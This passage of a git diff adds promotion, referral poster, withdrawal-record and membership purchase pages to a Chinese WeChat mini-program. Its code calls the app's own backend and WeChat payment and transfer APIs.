({{bindingCount}}) + + + 已付款 ({{paidCount}}) + + + 已过期 ({{expiringCount}}) + + + + + + + 🔍 + + 目前还没有绑定的用户哦 + 快去分享链接邀请好友吧 + + + + + + + + + {{item.nickname ? item.nickname[0] : '?'}} + + + + + + {{item.remainDays}}天到期 + 已过期 + 已付款 + + + + + + 加载中... + + + — 已加载全部 — + + + + + + + + + 🎨 + + + 生成推广海报 + 一键生成您的专属精美海报 + + + + + + 💬 + + + 分享到朋友圈 + 通过右上角菜单分享到朋友圈 + + + + + + + + + 分享专属链接,好友通过链接点击后自动绑定 + 购买任意测评即可获得 90% 的现金返利 + + + + diff --git a/miniprogram/pages/promo/index.wxss b/miniprogram/pages/promo/index.wxss new file mode 100644 index 0000000..b529a0f --- /dev/null +++ b/miniprogram/pages/promo/index.wxss @@ -0,0 +1,550 @@ +/* pages/promo/index.wxss */ +page { + background-color: #FFFFFF; +} + +.container { + padding: 32rpx; + background-color: #FFFFFF; +} + +/* ===== 顶部统计卡片 ===== */ +.hero-card { + background: #FFF5F6; + border-radius: 40rpx; + padding: 40rpx; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.02); + position: relative; + overflow: hidden; + margin-bottom: 40rpx; +} + +.hero-header-row { + display: flex; + justify-content: space-between; + align-items: flex-start; + margin-bottom: 48rpx; +} + +.hero-left { + display: flex; + align-items: center; + gap: 20rpx; +} + +.wallet-icon { + width: 88rpx; + height: 88rpx; + background: #FFFFFF; + border-radius: 24rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 2rpx 10rpx rgba(0,0,0,0.03); +} + +.emoji { font-size: 44rpx; } + +.title-text .label { + font-size: 24rpx; + color: #6B7280; + font-weight: 500; +} + +.badge { + display: flex; + align-items: center; + gap: 6rpx; + margin-top: 6rpx; +} + +.badge .dot { + width: 10rpx; + height: 10rpx; + background: #F43F5E; + border-radius: 50%; +} + +.badge-text { + font-size: 22rpx; + color: #F43F5E; + font-weight: 600; +} + +.hero-right { + text-align: right; +} + +.amount { + font-size: 72rpx; + font-weight: 700; + color: #111827; + line-height: 1; +} + +.amount-sub { + font-size: 22rpx; + color: #9CA3AF; + margin-top: 16rpx; + display: block; +} + +.withdraw-btn { + width: 100%; + height: 104rpx; + background: #F3F4F6; + color: #9CA3AF; + border-radius: 52rpx; + font-size: 30rpx; + font-weight: 600; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; + border: none; +} + +.withdraw-btn::after { border: none; } + +.withdraw-btn:not(.disabled) { + background: #F43F5E; + color: #FFFFFF; +} + +.record-link { + display: flex; + align-items: center; + justify-content: center; + gap: 6rpx; + font-size: 26rpx; + color: #F43F5E; + font-weight: 600; +} + +/* ===== 四格统计 ===== */ +.stats-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 24rpx; + margin-bottom: 40rpx; +} + +.stat-item { + background: #FFFFFF; + padding: 28rpx 16rpx; + border-radius: 32rpx; + border: 1rpx solid #F3F4F6; + text-align: center; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); +} + +.stat-val { + font-size: 40rpx; + font-weight: 800; + color: #111827; + display: block; + margin-bottom: 4rpx; +} + +.stat-val.highlight { color: #F59E0B; } + +.stat-label { + font-size: 22rpx; + color: #6B7280; + font-weight: 500; +} + +/* ===== 通用 Section ===== */ +.section { + background: #FFFFFF; + border-radius: 48rpx; + border: 1rpx solid #F3F4F6; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); + margin-bottom: 40rpx; + overflow: hidden; +} + +.section-header { + padding: 40rpx; + display: flex; + align-items: center; + gap: 16rpx; +} + +.section-header.border-b { + border-bottom: 1rpx solid #F9FAFB; +} + +.header-icon { + width: 56rpx; + height: 56rpx; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.header-icon.red { background: #FFF1F2; } + +.section-title { + font-size: 28rpx; + font-weight: 800; + color: #111827; +} + +.count-label { + font-size: 24rpx; + color: #9CA3AF; + font-weight: 400; + margin-left: 8rpx; +} + +/* 规则列表 */ +.rule-list { + padding: 0 40rpx 40rpx; + display: flex; + flex-direction: column; + gap: 28rpx; +} + +.rule-item { + display: flex; + gap: 24rpx; + align-items: flex-start; +} + +.rule-bullet { + font-size: 20rpx; + margin-top: 4rpx; +} + +.rule-text { + font-size: 24rpx; + color: #6B7280; + line-height: 1.5; +} + +.highlight { color: #F43F5E; font-weight: 700; } + +/* 用户列表 Tab */ +.tab-bar { + display: flex; + background: #F9FAFB; + margin: 16rpx 32rpx; + padding: 8rpx; + border-radius: 24rpx; +} + +.tab-item { + flex: 1; + text-align: center; + padding: 20rpx 0; + font-size: 24rpx; + color: #6B7280; + font-weight: 500; + border-radius: 16rpx; + transition: all 0.2s; +} + +.tab-item.active { + background: #FFFFFF; + color: #F43F5E; + font-weight: 800; + box-shadow: 0 4rpx 12rpx rgba(0,0,0,0.05); +} + +.empty-state { + padding: 100rpx 80rpx; + text-align: center; + display: flex; + flex-direction: column; + align-items: center; +} + +.empty-icon { + width: 160rpx; + height: 160rpx; + background: linear-gradient(to top right, #F9FAFB, #FFFFFF); + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; + box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.02); +} + +.empty-text { + font-size: 28rpx; + color: #9CA3AF; + font-weight: 600; +} + +.empty-sub { + font-size: 20rpx; + color: #D1D5DB; + margin-top: 8rpx; +} + +/* ===== 操作菜单 ===== */ +.menu-card { + background: #FFFFFF; + border-radius: 48rpx; + border: 1rpx solid #F3F4F6; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); + overflow: hidden; + margin-bottom: 40rpx; +} + +.menu-item { + display: flex; + align-items: center; + padding: 32rpx 40rpx; + border-bottom: 1rpx solid #F9FAFB; + background: #FFFFFF; + text-align: left; + line-height: 1.4; +} + +.menu-item:last-child { border-bottom: none; } + +.menu-item.share-btn { + width: 100%; + margin: 0; + border-radius: 0; +} + +.menu-item.share-btn::after { border: none; } + +.menu-icon-wrap { + width: 88rpx; + height: 88rpx; + border-radius: 32rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 32rpx; +} + +.menu-icon-wrap.rose { background: #FFF1F2; color: #F43F5E; } +.menu-icon-wrap.emerald { background: #ECFDF5; color: #10B981; } +.menu-icon-wrap.violet { background: #F5F3FF; color: #8B5CF6; } + +.menu-info { flex: 1; } + +.menu-name { + font-size: 28rpx; + font-weight: 800; + color: #111827; + display: block; +} + +.menu-desc { + font-size: 22rpx; + color: #6B7280; + display: block; + margin-top: 4rpx; +} + +.menu-arrow { + font-size: 36rpx; + color: #D1D5DB; +} + +/* ===== 底部提示 ===== */ +.footer-tip { + padding: 40rpx 60rpx; + text-align: center; +} + +.footer-tip text { + display: block; + font-size: 22rpx; + color: #D1D5DB; + line-height: 1.6; + font-weight: 500; +} + +/* ===== 绑定用户列表条目 ===== */ +.user-item { + display: flex; + align-items: center; + padding: 28rpx 32rpx; + border-bottom: 1rpx solid #F3F4F6; +} +.user-item:last-child { border-bottom: none; } + +.user-avatar { + width: 80rpx; + height: 80rpx; + border-radius: 50%; + flex-shrink: 0; + margin-right: 24rpx; + background: #F3F4F6; +} +.user-avatar-placeholder { + display: flex; + align-items: center; + justify-content: center; + background: #FECDD3; +} +.user-avatar-letter { + font-size: 36rpx; + color: #F43F5E; + font-weight: 700; +} + +.user-info { + flex: 1; + display: flex; + flex-direction: column; + gap: 6rpx; +} +.user-name { + font-size: 28rpx; + font-weight: 600; + color: #1F2937; +} +.user-time { + font-size: 22rpx; + color: #9CA3AF; +} + +.user-badge { + font-size: 22rpx; + font-weight: 600; + padding: 6rpx 18rpx; + border-radius: 20rpx; + flex-shrink: 0; +} +.badge-active { + background: #FEF3C7; + color: #D97706; +} +.badge-paid { + background: #D1FAE5; + color: #059669; +} +.badge-expired { + background: #F3F4F6; + color: #9CA3AF; +} + +/* 列表底部提示 */ +.list-footer { + padding: 32rpx 0; + text-align: center; +} +.list-footer-text { + font-size: 24rpx; + color: #D1D5DB; +} + +.safe-bottom { height: 60rpx; } + +/* ===== 提现金额弹框 ===== */ +.withdraw-mask { + position: fixed; + inset: 0; + background: rgba(15, 23, 42, 0.45); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.withdraw-dialog { + width: 640rpx; + padding: 40rpx 40rpx 32rpx; + border-radius: 32rpx; + background: #ffffff; + box-shadow: 0 24rpx 60rpx rgba(15, 23, 42, 0.25); +} + +.dialog-title { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.dialog-sub { + margin-top: 8rpx; + font-size: 24rpx; + color: #6b7280; +} + +.amount-input-row { + margin-top: 32rpx; + padding: 16rpx 20rpx; + border-radius: 20rpx; + background: #f9fafb; + display: flex; + align-items: center; +} + +.currency { + font-size: 32rpx; + font-weight: 600; + color: #111827; + margin-right: 8rpx; +} + +.amount-input { + flex: 1; + font-size: 32rpx; + font-weight: 600; + color: #111827; +} + +.amount-input::placeholder { + color: #9ca3af; +} + +.amount-hint { + margin-top: 8rpx; + font-size: 22rpx; + color: #9ca3af; +} +.fee-actual-row { + margin-top: 12rpx; + font-size: 24rpx; + color: #6b7280; +} +.fee-actual-row .actual { + margin-left: 24rpx; + color: #059669; + font-weight: 500; +} + +.error-text { + margin-top: 8rpx; + font-size: 22rpx; + color: #dc2626; +} + +.dialog-actions { + margin-top: 32rpx; + display: flex; + gap: 16rpx; +} + +.dialog-actions .btn { + flex: 1; + height: 80rpx; + border-radius: 9999rpx; + display: flex; + align-items: center; + justify-content: center; + font-size: 28rpx; + font-weight: 600; +} + +.dialog-actions .btn.cancel { + background: #f3f4f6; + color: #4b5563; +} + +.dialog-actions .btn.confirm { + background: #f43f5e; + color: #ffffff; +} + diff --git a/miniprogram/pages/promo/poster.js b/miniprogram/pages/promo/poster.js new file mode 100644 index 0000000..00e52fa --- /dev/null +++ b/miniprogram/pages/promo/poster.js @@ -0,0 +1,74 @@ +const { getApiBase } = require('../../utils/request') + +Page({ + data: { + loading: true, + loadingText: '正在生成海报...', + posterUrl: '' + }, + + onLoad() { + this.loadPoster() + }, + + /** 从后端接口下载完整合成海报 */ + loadPoster() { + const app = getApp() + const gd = app.globalData || {} + const storedUser = wx.getStorageSync('userInfo') || {} + const userInfo = gd.userInfo || storedUser + const apiBase = getApiBase() + const token = wx.getStorageSync('token') || gd.token || '' + const scope = gd.appScope || 'personal' + // 企业 ID:按优先级取 scene > globalData.userInfo > storage.userInfo + const eid = scope === 'enterprise' + ? (gd.enterpriseIdFromScene || (gd.userInfo && gd.userInfo.enterpriseId) || storedUser.enterpriseId || null) + : null + let url = apiBase.replace(/\/$/, '') + '/api/distribution/poster' + if (eid) url += `?eid=${eid}&scope=enterprise` + else if (scope === 'enterprise') url += '?scope=enterprise' // 企业模式但 eid 未知,后端从 DB 取 + else url += '?scope=personal' + + wx.downloadFile({ + url, + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + if (res.statusCode === 200 && res.tempFilePath) { + this.setData({ posterUrl: res.tempFilePath, loading: false }) + } else { + this.setData({ loadingText: '海报生成失败', loading: false }) + wx.showToast({ title: '生成失败', icon: 'none' }) + } + }, + fail: () => { + this.setData({ loadingText: '请求失败,请重试', loading: false }) + wx.showToast({ title: '请求失败', icon: 'none' }) + } + }) + }, + + /** 保存到相册 */ + savePoster() { + if (this.data.loading || !this.data.posterUrl) return + wx.showLoading({ title: '正在保存...' }) + wx.saveImageToPhotosAlbum({ + filePath: this.data.posterUrl, + success: () => { + wx.hideLoading() + wx.showToast({ title: '已保存到相册', icon: 'success' }) + }, + fail: (err) => { + wx.hideLoading() + if (err.errMsg && err.errMsg.indexOf('auth deny') >= 0) { + wx.showModal({ + title: '提示', + content: '需要您授权保存图片到相册', + success: (r) => { if (r.confirm) wx.openSetting() } + }) + } else { + wx.showToast({ title: '保存失败', icon: 'none' }) + } + } + }) + } +}) diff --git a/miniprogram/pages/promo/poster.json b/miniprogram/pages/promo/poster.json new file mode 100644 index 0000000..44070df --- /dev/null +++ b/miniprogram/pages/promo/poster.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "生成推广海报", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} \ No newline at end of file diff --git a/miniprogram/pages/promo/poster.wxml b/miniprogram/pages/promo/poster.wxml new file mode 100644 index 0000000..2b3eac2 --- /dev/null +++ b/miniprogram/pages/promo/poster.wxml @@ -0,0 +1,16 @@ + + + + + + {{loadingText}} + + + + + 保存到相册后可分享至朋友圈 + + + diff --git a/miniprogram/pages/promo/poster.wxss b/miniprogram/pages/promo/poster.wxss new file mode 100644 index 0000000..65df932 --- /dev/null +++ b/miniprogram/pages/promo/poster.wxss @@ -0,0 +1,83 @@ +.container { + min-height: 100vh; + background-color: #f8fafc; + display: flex; + flex-direction: column; + align-items: center; + padding: 40rpx 0; +} + +.poster-preview { + position: relative; + width: 600rpx; + min-height: 800rpx; + background-color: #fff; + border-radius: 32rpx; + box-shadow: 0 20rpx 50rpx rgba(0, 0, 0, 0.1); + overflow: hidden; +} + +.poster-img { + width: 100%; + display: block; +} + +.loading-mask { + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background-color: rgba(255, 255, 255, 0.9); + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + z-index: 10; +} + +.loading-spinner { + width: 60rpx; height: 60rpx; + border: 4rpx solid #f3f4f6; + border-top: 4rpx solid #f43f5e; + border-radius: 50%; + animation: spin 1s linear infinite; + margin-bottom: 20rpx; +} + +@keyframes spin { + 0% { transform: rotate(0deg); } + 100% { transform: rotate(360deg); } +} + +.loading-text { font-size: 24rpx; color: #64748b; } + +.action-bar { + position: fixed; + bottom: 0; left: 0; right: 0; + background-color: rgba(255, 255, 255, 0.95); + backdrop-filter: blur(10px); + padding: 40rpx; + display: flex; + flex-direction: column; + align-items: center; + border-radius: 40rpx 40rpx 0 0; + box-shadow: 0 -10rpx 30rpx rgba(0, 0, 0, 0.05); +} + +.save-btn { + width: 100% !important; + height: 100rpx; + background: #f43f5e; + color: #fff; + border-radius: 24rpx; + font-size: 32rpx; + font-weight: bold; + box-shadow: 0 10rpx 20rpx rgba(244, 63, 94, 0.2); + margin-bottom: 20rpx; +} + +.save-btn[disabled] { + background: #cbd5e1; + box-shadow: none; +} + +.tip-text { font-size: 24rpx; color: #94a3b8; margin-bottom: 20rpx; } +.safe-bottom { height: env(safe-area-inset-bottom); } diff --git a/miniprogram/pages/promo/withdrawals.js b/miniprogram/pages/promo/withdrawals.js new file mode 100644 index 0000000..314936e --- /dev/null +++ b/miniprogram/pages/promo/withdrawals.js @@ -0,0 +1,236 @@ +// pages/promo/withdrawals.js - 提现记录列表页 +const { request } = require('../../utils/request') + +Page({ + data: { + list: [], + page: 1, + pageSize: 10, + total: 0, + loading: false, + finished: false, + // 确认收款按钮 loading 状态(按单条) + confirmingId: null + }, + + onLoad() { + this.loadData(true) + }, + + // 加载提现记录列表(reset 为 true 时重置分页) + loadData(reset = false) { + if (this.data.loading) return + if (!reset && this.data.finished) return + + const page = reset ? 1 : this.data.page + this.setData({ loading: true }) + + request({ + url: `/api/distribution/withdrawals?page=${page}&pageSize=${this.data.pageSize}`, + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const { list = [], total = 0 } = payload.data + const mapped = list.map(item => { + const statusCode = this._normalizeStatusCode(item.status) + const amountYuan = item.amountYuan != null + ? item.amountYuan + : (item.amountFen != null ? (item.amountFen / 100).toFixed(2) : '') + + const balanceAfterYuan = item.balanceAfterYuan != null + ? item.balanceAfterYuan + : (item.balanceAfterFen != null ? (item.balanceAfterFen / 100).toFixed(2) : '') + + const feeYuan = item.feeYuan != null + ? item.feeYuan + : (item.feeFen != null ? (item.feeFen / 100).toFixed(2) : '0.00') + + return { + ...item, + statusCode, + amountYuan, + balanceAfterYuan, + feeYuan, + // 申请时间:用 createdAt + applyAtStr: this._fmtTime(item.createdAt), + // 处理时间:用 transferAt(如有) + handleAtStr: this._fmtTime(item.transferAt), + statusTagText: this._statusTagText(statusCode), + statusTagClass: this._statusTagClass(statusCode) + } + }) + const newList = reset ? mapped : [...this.data.list, ...mapped] + this.setData({ + list: newList, + total, + page: page + 1, + finished: newList.length >= total + }) + } + }, + complete: () => { + this.setData({ loading: false }) + } + }) + }, + + // 时间戳格式化 + _fmtTime(ts) { + if (!ts) return '' + const d = new Date(ts * 1000) + if (isNaN(d.getTime())) return '' + const y = d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + const hh = String(d.getHours()).padStart(2, '0') + const mm = String(d.getMinutes()).padStart(2, '0') + return `${y}-${m}-${day} ${hh}:${mm}` + }, + + // 将后端 status(数字 / 中文 / 英文)统一转成数字枚举: + // 0=审核中,1=已驳回,2=待收款,3=已收款,4=已过期 + _normalizeStatusCode(status) { + if (typeof status === 'number') return status + if (typeof status === 'string') { + const s = status.trim() + if (/^\d+$/.test(s)) return parseInt(s, 10) + switch (s) { + case 'pending': + case '审核中': + return 0 + case 'rejected': + case '已驳回': + return 1 + case '待收款': + return 2 + case 'transferred': + case '已收款': + return 3 + case '已过期': + return 4 + default: + return 0 + } + } + return 0 + }, + + // 状态中文文案 + _statusTagText(code) { + switch (code) { + case 0: + return '待审核' + case 1: + return '已驳回' + case 2: + return '待收款' + case 3: + return '已收款' + case 4: + return '已过期' + default: + return '' + } + }, + + // 顶部右侧小标签样式 + _statusTagClass(code) { + switch (code) { + case 0: + return 'tag-pending' + case 1: + return 'tag-rejected' + case 2: + return 'tag-wait' + case 3: + return 'tag-transferred' + case 4: + return 'tag-expired' + default: + return '' + } + }, + + // 用户点击单条「确认收款」 + handleConfirmReceipt(e) { + const id = e.currentTarget.dataset.id + if (!id || this.data.confirmingId === id) return + + const item = (this.data.list || []).find(x => String(x.id) === String(id)) + if (!item) { + wx.showToast({ title: '记录不存在', icon: 'none' }) + return + } + + // 兼容驼峰 / 下划线字段 + const packageInfo = item.packageInfo || item.package_info + if (!packageInfo) { + wx.showToast({ title: '该提现单无法确认收款,请联系客服', icon: 'none' }) + return + } + + if (!wx.canIUse || !wx.canIUse('requestMerchantTransfer')) { + wx.showModal({ + content: '当前微信版本过低,无法使用确认收款功能,请升级微信后重试', + showCancel: false + }) + return + } + + this.setData({ confirmingId: id }) + + wx.showLoading({ title: '正在调起确认收款...' }) + + // 获取 AppID:优先记录里的,其次运行时获取 + let appId = item.appId || item.app_id + try { + if (!appId && wx.getAccountInfoSync) { + const info = wx.getAccountInfoSync() + appId = info && info.miniProgram && info.miniProgram.appId + } + } catch (err) {} + + // 商户号:从记录中取(后端已写入 mch_id) + const mchId = item.mchId || item.mch_id + + wx.requestMerchantTransfer({ + mchId, + appId, + // 文档里字段名是 package,对应后台返回的 package_info + package: packageInfo, + success: (res) => { + console.log('requestMerchantTransfer success', res) + wx.showToast({ title: '已调起收款确认', icon: 'none', duration: 2000 }) + // 主动查询转账状态并更新订单,实现及时刷新(参考商户单号查询:https://pay.weixin.qq.com/doc/v3/merchant/4012716437) + request({ + url: '/api/distribution/withdrawals/query-transfer', + method: 'POST', + data: { id: item.id }, + success: (r) => { + const p = r && r.data + if (p && p.code === 200 && p.data && p.data.status === 3) { + wx.showToast({ title: '已收款', icon: 'success' }) + } + }, + complete: () => { + this.loadData(true) + } + }) + }, + fail: (err) => { + console.error('requestMerchantTransfer fail', err) + wx.showToast({ title: '调起失败,请稍后重试', icon: 'none' }) + }, + complete: () => { + wx.hideLoading() + this.setData({ confirmingId: null }) + } + }) + }, + + onReachBottom() { + this.loadData(false) + } +}) + diff --git a/miniprogram/pages/promo/withdrawals.json b/miniprogram/pages/promo/withdrawals.json new file mode 100644 index 0000000..5a32976 --- /dev/null +++ b/miniprogram/pages/promo/withdrawals.json @@ -0,0 +1,5 @@ +{ + "navigationBarTitleText": "提现记录", + "usingComponents": {} +} + diff --git a/miniprogram/pages/promo/withdrawals.wxml b/miniprogram/pages/promo/withdrawals.wxml new file mode 100644 index 0000000..dda0443 --- /dev/null +++ b/miniprogram/pages/promo/withdrawals.wxml @@ -0,0 +1,77 @@ + + + + + + + + 📭 + + 暂无提现记录 + 成功发起提现后,将在这里展示进度 + + + + + + + + 单号:{{item.out_bill_no}} + + {{item.statusTagText}} + + + + + + + ¥{{item.amountYuan}} + + + 手续费 + ¥{{item.feeYuan}} + + + 提现后余额 + ¥{{item.balanceAfterYuan}} + + + + + + 申请时间:{{item.applyAtStr}} + 处理时间:{{item.handleAtStr}} + + + + + 拒绝原因: + {{item.auditNote}} + + + + + + + + + + 加载中... + + + — 已加载全部 — + + + + + + + diff --git a/miniprogram/pages/promo/withdrawals.wxss b/miniprogram/pages/promo/withdrawals.wxss new file mode 100644 index 0000000..84ed4e8 --- /dev/null +++ b/miniprogram/pages/promo/withdrawals.wxss @@ -0,0 +1,244 @@ +.page { + min-height: 100vh; + background: #f9fafb; + padding: 24rpx 32rpx 32rpx; + box-sizing: border-box; +} + +.header { + margin-bottom: 24rpx; +} + +.title { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.sub-title { + margin-top: 6rpx; + font-size: 24rpx; + color: #6b7280; +} + +.empty { + margin-top: 80rpx; + display: flex; + flex-direction: column; + align-items: center; + color: #9ca3af; +} + +.empty-icon { + width: 120rpx; + height: 120rpx; + border-radius: 60rpx; + background: #f3f4f6; + display: flex; + align-items: center; + justify-content: center; + font-size: 56rpx; + margin-bottom: 16rpx; +} + +.empty-text { + font-size: 28rpx; + margin-bottom: 4rpx; + color: #4b5563; +} + +.empty-sub { + font-size: 24rpx; + color: #9ca3af; +} + +.list { + margin-top: 12rpx; +} + +.item { + background: #ffffff; + border-radius: 24rpx; + padding: 24rpx 28rpx; + margin-bottom: 20rpx; + box-shadow: 0 4rpx 16rpx rgba(15, 23, 42, 0.04); +} + +.item-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.order-no { + font-size: 24rpx; + color: #6b7280; +} + +.status-tag { + padding: 6rpx 16rpx; + border-radius: 999rpx; + font-size: 22rpx; +} + +.tag-pending { + background: #e5e7eb; + color: #4b5563; +} + +.tag-approved { + background: #dbeafe; + color: #1d4ed8; +} + +.tag-wait { + background: #dbeafe; + color: #1d4ed8; +} + +.tag-rejected { + background: #fee2e2; + color: #b91c1c; +} + +.tag-transferred { + background: #dcfce7; + color: #15803d; +} + +.tag-expired { + background: #f3f4f6; + color: #9ca3af; +} + +.item-top { + display: flex; + justify-content: space-between; + align-items: flex-start; +} + +.amount-block { + display: flex; + flex-direction: column; + gap: 6rpx; +} + +.amount { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.fee-block { + display: flex; + flex-direction: column; + gap: 4rpx; +} + +.fee-label { + font-size: 22rpx; + color: #9ca3af; +} + +.fee-value { + font-size: 26rpx; + color: #6b7280; +} + +.balance-block { + display: flex; + flex-direction: column; + align-items: flex-end; +} + +.balance-label { + font-size: 22rpx; + color: #9ca3af; +} + +.balance-value { + margin-top: 4rpx; + font-size: 26rpx; + color: #111827; +} + +.time-block { + margin-top: 16rpx; + display: flex; + flex-direction: column; + gap: 6rpx; +} + +.time-row { + font-size: 22rpx; + color: #6b7280; +} + +.reject-box { + margin-top: 16rpx; + padding: 16rpx; + border-radius: 12rpx; + background: #fef2f2; +} + +.reject-title { + font-size: 24rpx; + font-weight: 600; + color: #b91c1c; +} + +.reject-text { + font-size: 24rpx; + color: #b91c1c; +} + +.item-bottom { + margin-top: 10rpx; +} + +.note { + font-size: 24rpx; + color: #6b7280; +} + +.footer { + padding: 16rpx 0; + text-align: center; +} + +.footer-text { + font-size: 24rpx; + color: #9ca3af; +} + +.confirm-wrapper { + margin-top: 20rpx; + padding: 0 8rpx 4rpx; +} + +.confirm-btn { + width: 100%; + height: 80rpx; + border-radius: 999rpx; + background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); + color: #ffffff; + font-size: 30rpx; + font-weight: 600; + box-shadow: 0 10rpx 18rpx rgba(255, 107, 138, 0.35); + border: none; + display: flex; + align-items: center; + justify-content: center; + padding: 0; +} + +.confirm-btn[disabled] { + opacity: 0.7; + box-shadow: none; +} + +.safe-bottom { + height: calc(32rpx + env(safe-area-inset-bottom)); +} + diff --git a/miniprogram/pages/purchase/index.js b/miniprogram/pages/purchase/index.js new file mode 100644 index 0000000..d7441fa --- /dev/null +++ b/miniprogram/pages/purchase/index.js @@ -0,0 +1,247 @@ +// pages/purchase/index.js - 开通会员(深度服务价格:个人/企业区分,类目由后端配置可新增) +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + activeTab: 'personal', + personalCategories: [], + enterpriseCategories: [], + loading: true, + purchasing: false, + hasPhone: false, + successModal: { + visible: false, + title: '', + content: '', + wechat: '' + } + }, + + onLoad(options) { + const tab = (options && options.tab === 'enterprise') ? 'enterprise' : 'personal' + this.setData({ activeTab: tab }) + wx.setNavigationBarTitle({ title: tab === 'enterprise' ? '开通企业版' : '开通个人版' }) + this.loadDeepPricing() + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + }, + + loadDeepPricing() { + const apiBase = app.globalData.apiBase || '' + if (!apiBase) { + this.setData({ loading: false }) + return + } + this.setData({ loading: true }) + Promise.all([ + this.requestDeepPricing('personal'), + this.requestDeepPricing('enterprise') + ]).then(([personal, enterprise]) => { + this.setData({ + personalCategories: personal || [], + enterpriseCategories: enterprise || [], + loading: false + }) + }).catch(() => { + this.setData({ loading: false }) + }) + }, + + requestDeepPricing(scope) { + return new Promise((resolve) => { + wx.request({ + url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/config/deep-pricing`, + method: 'GET', + data: { scope }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200 && Array.isArray(res.data.data && res.data.data.categories)) { + resolve(res.data.data.categories) + } else { + resolve([]) + } + }, + fail: () => resolve([]) + }) + }) + }, + + switchTab(e) { + const tab = e.currentTarget.dataset.tab + this.setData({ activeTab: tab }) + }, + + // 无需再次授权时,直接点击按钮执行购买/咨询 + handlePurchaseTap(e) { + const tab = e.currentTarget.dataset.tab + const index = e.currentTarget.dataset.index + this.handlePurchase(tab, index) + }, + + // 实际执行购买/咨询逻辑(已确保有手机号) + handlePurchase(tab, index) { + if (!ensureProfileCompleteAndRedirect()) return + if (index === undefined || index === null) return + const list = tab === 'enterprise' ? this.data.enterpriseCategories : this.data.personalCategories + const category = list[index] + if (!category) return + + if (category.actionType === 'buy' && category.productKey) { + this.purchasePersonal(category) + } else { + this.applyConsult(category) + } + }, + + // 购买/企业咨询按钮:就地触发微信系统手机号授权,然后执行 handlePurchase + onGetPhoneNumberForPurchase(e) { + const tab = e.currentTarget.dataset.tab + const index = e.currentTarget.dataset.index + const { code, errMsg } = e.detail || {} + + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + // 用户拒绝但之前已授权过,本地已有手机号,则直接继续 + this.handlePurchase(tab, index) + return + } + + if (!code) { + if (hasPhone()) { + this.handlePurchase(tab, index) + } else { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.handlePurchase(tab, index) + }) + .catch(() => { + // 失败时只提示,不阻塞后续再次点击 + }) + }, + + purchasePersonal(category) { + if (this.data.purchasing) return + this.setData({ purchasing: true }) + wx.showLoading({ title: '处理中...', mask: true }) + const deepProductId = category.id || category.productKey || '' + const title = category.title || '个人深度服务(1v1深度解读)' + payment.purchasePersonalDeepService({ + deepProductId, + description: title, + success: () => { + wx.hideLoading() + this.setData({ purchasing: false }) + this._reportCrmLead(category, 'buy') + const successMsg = (category.successMessage || '购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。').trim() + const wechat = (category.serviceWechat || '').trim() + this._showSuccessModal('购买成功', successMsg, wechat) + }, + fail: () => { + wx.hideLoading() + this.setData({ purchasing: false }) + } + }) + }, + + applyConsult(category) { + // serviceWechat 展示给用户,consultWechat 是存客宝 API key + const wechat = (category.serviceWechat || '').trim() + const apiKey = (category.consultWechat || '').trim() + const successMsg = (category.successMessage || '感谢您的申请,我们的顾问会尽快与您联系!').trim() + wx.showLoading({ title: '提交中...', mask: true }) + if (apiKey) { + this._reportCrmLead(category, 'consult') + } + setTimeout(() => { + wx.hideLoading() + this._showSuccessModal('申请成功', successMsg, wechat) + }, 600) + }, + + _showSuccessModal(title, content, wechat) { + this.setData({ + successModal: { + visible: true, + title: title || '成功', + content: content || '', + wechat: wechat || '' + } + }) + }, + + closeSuccessModal() { + this.setData({ 'successModal.visible': false }) + }, + + copyWechat() { + const wechat = this.data.successModal.wechat + if (!wechat) return + wx.setClipboardData({ + data: wechat, + success: () => wx.showToast({ title: '已复制微信号', icon: 'success' }) + }) + }, + + /** + * 向后端上报存客宝线索,后端负责签名和调用存客宝 API + * @param {Object} category 深度服务类目对象(需含 consultWechat / title) + * @param {string} actionType 'buy'(付款完成)| 'consult'(申请咨询) + */ + _reportCrmLead(category, actionType) { + const apiKey = category.consultWechat || '' + if (!apiKey) return + const apiBase = app.globalData.apiBase || '' + if (!apiBase) return + + const isEnterprise = this.data.activeTab === 'enterprise' + const source = (isEnterprise ? '企业深度服务' : '个人深度服务') + (category.title ? `-${category.title}` : '') + const remark = actionType === 'buy' ? '完成付款' : '申请咨询' + + 